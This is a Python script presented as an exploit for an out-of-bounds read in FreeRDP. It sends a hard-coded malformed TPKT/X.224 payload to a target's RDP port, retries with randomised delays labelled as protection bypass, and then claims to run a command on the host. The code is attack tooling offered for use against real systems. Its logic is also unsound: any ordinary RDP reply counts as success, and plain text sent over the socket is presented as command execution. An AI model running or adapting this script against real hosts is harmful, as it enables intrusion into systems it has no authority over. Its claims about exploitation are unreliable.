FreeRDP - Out-of-Bounds Read.py

import socket
import struct
import time
import random

def create_rdp_connection(ip, port):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((ip, port))
        return sock
    except Exception as e:
        print(f"Error creating connection: {e}")
        return None

def send_exploit(sock, payload):
    try:
        # Building TPKT Header
        tpkt_header = struct.pack("!BBH", 3, 0, len(payload) + 4)
        
        # Building X.224 Header
        x224_header = b'\x02\xf0\x80' + struct.pack("!H", len(payload) + 2)
        
        # Message assembly
        exploit_data = tpkt_header + x224_header + payload
        
        # Sending data
        sock.send(exploit_data)
        response = sock.recv(1024)
        print(f"Received: {response}")
        return response
    except socket.error as e:
        print(f"Socket error sending exploit: {e}")
        return None
    except Exception as e:
        print(f"Error sending exploit: {e}")
        return None

def exploit_successful(response):
    # Check the response to determine if the exploit was successful
    if response and b"\x03\x00" in response:
        return True
    return False

def execute_command(sock, command):
    try:
        # Execute Random Commands
        command_payload = command.encode('utf-8')
        
        sock.send(command_payload)
        response = sock.recv(1024)
        print(f"Command response: {response}")
    except socket.error as e:
        print(f"Socket error executing command: {e}")
    except Exception as e:
        print(f"Error executing command: {e}")

def reset_connection(sock, ip, port):
    try:
        sock.close()
    except:
        pass
    time.sleep(random.uniform(1, 3))
    return create_rdp_connection(ip, port)

def bypass_protection(ip, port, payload, retries=5, delay_range=(1, 5)):
    for attempt in range(retries):
        print(f"Attempt {attempt + 1}/{retries}")
        sock = create_rdp_connection(ip, port)
        if not sock:
            continue
        
        # Change the timing of package delivery
        time.sleep(random.uniform(0.1, 1.0))
        
        # Exploitation submission
        response = send_exploit(sock, payload)
        
        if response and exploit_successful(response):
            return sock, response
        else:
            print("Exploit attempt failed. Retrying...")
            sock = reset_connection(sock, ip, port)
            time.sleep(random.uniform(*delay_range))  # Random delay between attempts
        
    return None, None

def main():
    target_ip = "192.168.1.100"  # Replace this with the target IP address
    target_port = 3389  # Default port for RDP
    
    payload = b'\x03\x00\x01\x0b\x06\xd0\x00\x00\x12\x34\x00\x02\x01\x00\x08\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 
    
    sock, response = bypass_protection(target_ip, target_port, payload)
    if sock and response:
        print("Exploit successful!")
        
        # Execute random orders after successful exploitation
        execute_command(sock, "echo Hello from exploit")
        
        sock.close()
    else:
        print("Exploit failed after multiple attempts.")

if __name__ == "__main__":
    main()